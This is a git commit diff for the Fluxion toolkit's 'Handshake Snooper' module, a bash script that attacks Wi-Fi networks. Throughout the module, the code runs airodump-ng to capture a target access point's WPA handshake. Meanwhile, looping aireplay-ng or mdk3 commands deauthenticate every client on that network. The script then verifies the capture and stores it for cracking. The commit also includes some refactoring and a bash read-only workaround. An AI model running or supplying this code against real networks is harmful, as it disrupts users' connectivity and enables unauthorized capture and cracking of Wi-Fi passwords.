Handshake Snooper migration & bash bug workaround.

Started upgrade of Handshake Snooper to fluxion 4.
Redefined array constants as variables due to bash bug discovered.
This commit is contained in:
Matias Barcenas 2018-01-11 00:20:41 -06:00
parent 3185ca9ad8
commit fb70dc0158
2 changed files with 203 additions and 100 deletions

View File

@ -1,12 +1,27 @@
#!/bin/bash
########################### < Handshake Snooper Parameters > ###########################
# ============================================================ #
# ============= < Handshake Snooper Parameters > ============= #
# ============================================================ #
HandshakeSnooperState="Not Ready"
################################# < Handshake Snooper > ################################
function handshake_snooper_arbiter_daemon() {
if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then return 1; fi
# ============================================================ #
# ========= < Handshake Snooper Helper Subroutines > ========= #
# ============================================================ #
handshake_snooper_header() {
fluxion_header; fluxion_target_show; echo
}
# ============================================================ #
# ============= < Handshake Snooper Subroutines > ============ #
# ============================================================ #
handshake_snooper_arbiter_daemon() {
if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then
return 1;
fi
# Start daemon in the running state to continue execution until aborted,
# or until a hash has been verified to exist in the capture file.
@ -15,13 +30,16 @@ function handshake_snooper_arbiter_daemon() {
function handshake_snooper_arbiter_daemon_abort() {
handshake_snooper_arbiter_daemon_state="aborted"
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then kill $handshake_snooper_arbiter_daemon_viewerPID
if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then
kill $handshake_snooper_arbiter_daemon_viewerPID
fi
handshake_snooper_stop_deauthenticator
handshake_snooper_stop_captor
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperArbiterAbortedWarning" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
local -r now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $HandshakeSnooperArbiterAbortedWarning" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
exit 2
}
@ -34,10 +52,14 @@ function handshake_snooper_arbiter_daemon() {
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*"
# Display some feedback to the user to assure verifier is working.
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" -title "Handshake Snooper Arbiter Log" -e "tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" &
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" \
-title "Handshake Snooper Arbiter Log" -e \
"tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" &
local handshake_snooper_arbiter_daemon_viewerPID=$!
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStartingArbiterNotice" >"$FLUXIONWorkspacePath/handshake_snooper.log"
local now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $HandshakeSnooperStartingArbiterNotice" > \
"$FLUXIONWorkspacePath/handshake_snooper.log"
handshake_snooper_start_captor
handshake_snooper_start_deauthenticator
@ -46,26 +68,38 @@ function handshake_snooper_arbiter_daemon() {
# Keep snooping and verifying until we've got a valid hash from the capture file.
while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do
echo -e "[$(env -i date '+%H:%M:%S')] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
sleep $HANDSHAKEVerifierInterval &
wait $! # Using wait to asynchronously catch flags while waiting.
# If synchronously searching, stop the captor and deauthenticator before checking.
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" ]; then
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperStoppingForVerifierNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $HandshakeSnooperStoppingForVerifierNotice" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
handshake_snooper_stop_deauthenticator
handshake_snooper_stop_captor
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" "$FLUXIONWorkspacePath/capture/recent.cap"
mv "$FLUXIONWorkspacePath/capture/dump-01.cap" \
"$FLUXIONWorkspacePath/capture/recent.cap"
else
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &>$FLUXIONOutputDevice
pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" \
-o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> \
$FLUXIONOutputDevice
fi
echo -e "[$(env -i date '+%H:%M:%S')] $HandshakeSnooperSearchingForHashesNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
hash_check_handshake "$HANDSHAKEVerifierIdentifier" "$FLUXIONWorkspacePath/capture/recent.cap" "$APTargetSSID" "$APTargetMAC"
now=$(env -i date '+%H:%M:%S')
echo -e "[$now] $HandshakeSnooperSearchingForHashesNotice" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
hash_check_handshake "$HANDSHAKEVerifierIdentifier" \
"$FLUXIONWorkspacePath/capture/recent.cap" \
"$APTargetSSID" "$APTargetMAC"
handshake_snooper_arbiter_daemon_verified=$?
# If synchronously searching, restart the captor and deauthenticator after checking.
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
if [ "$HANDSHAKEVerifierSynchronicity" = "blocking" -a \
$handshake_snooper_arbiter_daemon_verified -ne 0 ]; then
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*"
handshake_snooper_start_captor
@ -78,33 +112,38 @@ function handshake_snooper_arbiter_daemon() {
handshake_snooper_stop_captor
local completionTime=$(env -i date '+%H:%M:%S')
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >>"$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >> \
"$FLUXIONWorkspacePath/handshake_snooper.log"
# Assure we've got a directory to store hashes into.
mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/"
# Move handshake to storage if one was acquired.
mv "$FLUXIONWorkspacePath/capture/recent.cap" "$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap"
mv "$FLUXIONWorkspacePath/capture/recent.cap" \
"$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap"
# Signal parent process the verification terminated.
kill -s SIGABRT $1
}
function handshake_snooper_stop_captor() {
if [ "$HANDSHAKECaptorPID" ]; then kill -s SIGINT $HANDSHAKECaptorPID &>$FLUXIONOutputDevice
handshake_snooper_stop_captor() {
if [ "$HANDSHAKECaptorPID" ]; then
kill -s SIGINT $HANDSHAKECaptorPID &> $FLUXIONOutputDevice
fi
HANDSHAKECaptorPID=""
}
function handshake_snooper_start_captor() {
handshake_snooper_start_captor() {
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
handshake_snooper_stop_captor
xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $APTargetChannel)" $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \
xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $APTargetChannel)" \
$TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \
airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor &
local parentPID=$!
@ -115,14 +154,14 @@ function handshake_snooper_start_captor() {
done
}
function handshake_snooper_stop_deauthenticator() {
handshake_snooper_stop_deauthenticator() {
if [ "$HANDSHAKEDeauthenticatorPID" ]; then kill $HANDSHAKEDeauthenticatorPID &>$FLUXIONOutputDevice
fi
HANDSHAKEDeauthenticatorPID=""
}
function handshake_snooper_start_deauthenticator() {
handshake_snooper_start_deauthenticator() {
if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi
@ -130,75 +169,90 @@ function handshake_snooper_start_deauthenticator() {
# Prepare deauthenticators
case "$HANDSHAKEDeauthenticatorIdentifier" in
"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" >$FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
"$HandshakeSnooperMdk3MethodOption")
echo "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst ;;
esac
# Start deauthenticators.
case "$HANDSHAKEDeauthenticatorIdentifier" in
"$HandshakeSnooperAireplayMethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" &
HANDSHAKEDeauthenticatorPID=$!
"$HandshakeSnooperAireplayMethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
-title "Deauthenticating all clients on $APTargetSSID" -e \
"while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $APTargetMAC --ignore-negative-one $WIMonitor; done" &
HANDSHAKEDeauthenticatorPID=$!
;;
"$HandshakeSnooperMdk3MethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
"while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" &
HANDSHAKEDeauthenticatorPID=$!
"$HandshakeSnooperMdk3MethodOption")
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \
-title "Deauthenticating all clients on $APTargetSSID" -e \
"while true; do sleep 7; timeout 3 mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel; done" &
HANDSHAKEDeauthenticatorPID=$!
;;
esac
}
function handshake_snooper_unset_deauthenticator_identifier() {
handshake_snooper_unset_deauthenticator_identifier() {
HANDSHAKEDeauthenticatorIdentifier=""
}
function handshake_snooper_set_deauthenticator_identifier() {
handshake_snooper_set_deauthenticator_identifier() {
if [ "$HANDSHAKEDeauthenticatorIdentifier" ]; then return 0; fi
handshake_snooper_unset_deauthenticator_identifier
local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption")
local methods=(
"$HandshakeSnooperMonitorMethodOption"
"$HandshakeSnooperAireplayMethodOption"
"$HandshakeSnooperMdk3MethodOption"
"$FLUXIONGeneralBackOption"
)
io_query_choice "$HandshakeSnooperMethodQuery" methods[@]
HANDSHAKEDeauthenticatorIdentifier=$IOQueryChoice
echo
if [ "$HANDSHAKEDeauthenticatorIdentifier" = "$FLUXIONGeneralBackOption" ]; then
if [ "$HANDSHAKEDeauthenticatorIdentifier" = \
"$FLUXIONGeneralBackOption" ]; then
handshake_snooper_unset_deauthenticator_identifier
return 1
fi
}
function handshake_snooper_unset_verifier_identifier() {
handshake_snooper_unset_verifier_identifier() {
HANDSHAKEVerifierIdentifier=""
}
function handshake_snooper_set_verifier_identifier() {
handshake_snooper_set_verifier_identifier() {
if [ "$HANDSHAKEVerifierIdentifier" ]; then return 0; fi
handshake_snooper_unset_verifier_identifier
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
local choices=(
"$FLUXIONHashVerificationMethodPyritOption"
"$FLUXIONHashVerificationMethodAircrackOption"
"$FLUXIONGeneralBackOption"
)
io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]
echo
case "$IOQueryChoice" in
"$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifierIdentifier="pyrit" ;;
"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
"$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_identifier
return 1
;;
"$FLUXIONHashVerificationMethodPyritOption")
HANDSHAKEVerifierIdentifier="pyrit" ;;
"$FLUXIONHashVerificationMethodAircrackOption")
HANDSHAKEVerifierIdentifier="aircrack-ng" ;;
"$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_identifier
return 1
;;
esac
}
function handshake_snooper_unset_verifier_interval() {
handshake_snooper_unset_verifier_interval() {
HANDSHAKEVerifierInterval=""
}
function handshake_snooper_set_verifier_interval() {
handshake_snooper_set_verifier_interval() {
if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi
handshake_snooper_unset_verifier_interval
@ -207,39 +261,92 @@ function handshake_snooper_set_verifier_interval() {
io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@]
case "$IOQueryChoice" in
"$HandshakeSnooperVerifierInterval30SOption") HANDSHAKEVerifierInterval=30 ;;
"$HandshakeSnooperVerifierInterval60SOption") HANDSHAKEVerifierInterval=60 ;;
"$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90 ;;
"$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_interval
return 1
;;
"$HandshakeSnooperVerifierInterval30SOption")
HANDSHAKEVerifierInterval=30 ;;
"$HandshakeSnooperVerifierInterval60SOption")
HANDSHAKEVerifierInterval=60 ;;
"$HandshakeSnooperVerifierInterval90SOption")
HANDSHAKEVerifierInterval=90 ;;
"$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_interval
return 1
;;
esac
}
function handshake_snooper_unset_verifier_synchronicity() {
handshake_snooper_unset_verifier_synchronicity() {
HANDSHAKEVerifierSynchronicity=""
}
function handshake_snooper_set_verifier_synchronicity() {
handshake_snooper_set_verifier_synchronicity() {
if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi
handshake_snooper_unset_verifier_synchronicity
local choices=("$HandshakeSnooperVerifierSynchronicityAsynchronousOption" "$HandshakeSnooperVerifierSynchronicitySynchronousOption" "$FLUXIONGeneralBackOption")
local choices=(
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption"
"$HandshakeSnooperVerifierSynchronicitySynchronousOption"
"$FLUXIONGeneralBackOption"
)
io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@]
case "$IOQueryChoice" in
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption") HANDSHAKEVerifierSynchronicity="non-blocking" ;;
"$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking" ;;
"$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_synchronicity
return 1
;;
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption")
HANDSHAKEVerifierSynchronicity="non-blocking" ;;
"$HandshakeSnooperVerifierSynchronicitySynchronousOption")
HANDSHAKEVerifierSynchronicity="blocking" ;;
"$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_synchronicity
return 1
;;
esac
}
function unprep_attack() {
# ============================================================ #
# =================== < Parse Parameters > =================== #
# ============================================================ #
if [ ! "$HandshakeSnooperCLIArguments" ]; then
if ! HandshakeSnooperCLIArguments=$(getopt --options="b:e:c:v:i:j:a" --longoptions="bssid:,essid:,channel:,verifier:,interval:,jammer:,asynchronous" --name="Handshake Snooper V$FLUXIONVersion.$FLUXIONRevision" -- "$@")
then echo -e "${CRed}Aborted$CClr, parameter error detected..."; exit 10
fi
declare -r HandshakeSnooperCLIArguments=$HandshakeSnooperCLIArguments
eval set -- "$HandshakeSnooperCLIArguments" # Set environment parameters.
fi
# ============================================================ #
# ============= < Argument Loaded Configurables > ============ #
# ============================================================ #
while [ "$1" != "--" ]; do
case "$1" in
-b|--bssid) APTargetMAC=$2; shift;;
-e|--essid) APTargetSSID=$2; shift;;
-c|--channel) APTargetChannel=$2; shift;;
-v|--verifier) HANDSHAKEVerifierIdentifier=$2; shift;;
-i|--interval) HANDSHAKEVerifierInterval=$2; shift;;
-j|--jammer) exit;;
-a|--asynchronous) HANDSHAKEVerifierSynchronicity="non-blocking";;
esac
shift # Shift new parameters
done
# ============================================================ #
# ===================== < Fluxion Hooks > ==================== #
# ============================================================ #
attack_targetting_interfaces() {
interface_list_wireless
local interface
for interface in "${InterfaceListWireless[@]}"; do
echo "$interface"
done
}
unprep_attack() {
HandshakeSnooperState="Not Ready"
handshake_snooper_unset_verifier_synchronicity
@ -250,39 +357,29 @@ function unprep_attack() {
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture"
}
function prep_attack() {
prep_attack() {
mkdir -p "$FLUXIONWorkspacePath/capture"
while true; do
handshake_snooper_set_deauthenticator_identifier
if [ $? -ne 0 ]; then break; fi
handshake_snooper_set_verifier_identifier
if [ $? -ne 0 ]; then
handshake_snooper_unset_deauthenticator_identifier
continue
fi
handshake_snooper_set_verifier_interval
if [ $? -ne 0 ]; then
handshake_snooper_unset_verifier_identifier
continue
fi
handshake_snooper_set_verifier_synchronicity
if [ $? -ne 0 ]; then
handshake_snooper_unset_verifier_interval
continue
fi
HandshakeSnooperState="Ready"
break
done
IOUtilsHeader="handshake_snooper_header"
# Check for handshake abortion.
if [ "$HandshakeSnooperState" != "Ready" ]; then
# Removed read-only due to local constant shadowing bug.
# I've reported the bug, we can add it when fixed.
local sequence=(
"set_deauthenticator_identifier"
"set_verifier_identifier"
"set_verifier_interval"
"set_verifier_synchronicity"
)
if fluxion_do_sequence handshake_snooper sequence[@]; then
HandshakeSnooperState="Ready"
else
unprep_attack
return 1
fi
}
function stop_attack() {
stop_attack() {
if [ "$HANDSHAKEArbiterPID" ]; then
kill -s SIGABRT $HANDSHAKEArbiterPID &>$FLUXIONOutputDevice
fi
@ -292,12 +389,12 @@ function stop_attack() {
HandshakeSnooperState="Stopped"
}
function start_attack() {
start_attack() {
if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi
HandshakeSnooperState="Running"
handshake_snooper_arbiter_daemon $$ &>$FLUXIONOutputDevice &
handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice &
HANDSHAKEArbiterPID=$!
}

22
fluxion
View File

@ -174,7 +174,7 @@ declare -r InstallerUtilsNoticeMark="$FLUXIONVLine"
declare -r PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log"
declare -r IOUtilsHeader="fluxion_header"
declare IOUtilsHeader="fluxion_header"
declare -r IOUtilsQueryMark="$FLUXIONVLine"
declare -r IOUtilsPrompt="$FLUXIONPrompt"
@ -483,7 +483,9 @@ fluxion_undo() {
local -r __fluxion_undo__namespace=$1
eval local -r __fluxion_undo__history=\("\${FXDLog_$__fluxion_undo__namespace[@]}"\)
# Removed read-only due to local constant shadowing bug.
# I've reported the bug, we can add it when fixed.
eval local __fluxion_undo__history=\("\${FXDLog_$__fluxion_undo__namespace[@]}"\)
local __fluxion_undo__i
for (( __fluxion_undo__i=${#__fluxion_undo__history[@]}; \
@ -528,7 +530,10 @@ fluxion_do_sequence() {
# defined above, including updating the namespace tracker.
local -r __fluxion_do_sequence__namespace=$1
local -r __fluxion_do_sequence__sequence=("${!2}")
# Removed read-only due to local constant shadowing bug.
# I've reported the bug, we can add it when fixed.
local __fluxion_do_sequence__sequence=("${!2}")
if [ ${#__fluxion_do_sequence__sequence[@]} -eq 0 ]; then
return -2
@ -1386,6 +1391,8 @@ fluxion_unprep_attack() {
unprep_attack
fi
IOUtilsHeader="fluxion_header"
return 1 # Trigger another undo since prep isn't significant.
}
@ -1415,10 +1422,7 @@ fluxion_prep_attack() {
fi
fi
if ! prep_attack "$@"; then
fluxion_unprep_attack
return 1
fi
if ! prep_attack "$@"; then return 6; fi
}
fluxion_run_attack() {
@ -1515,7 +1519,9 @@ fluxion_main() {
fluxion_set_resolution
local -r sequence=(
# Removed read-only due to local constant shadowing bug.
# I've reported the bug, we can add it when fixed.
local sequence=(
"set_language"
"set_attack"
"prep_attack"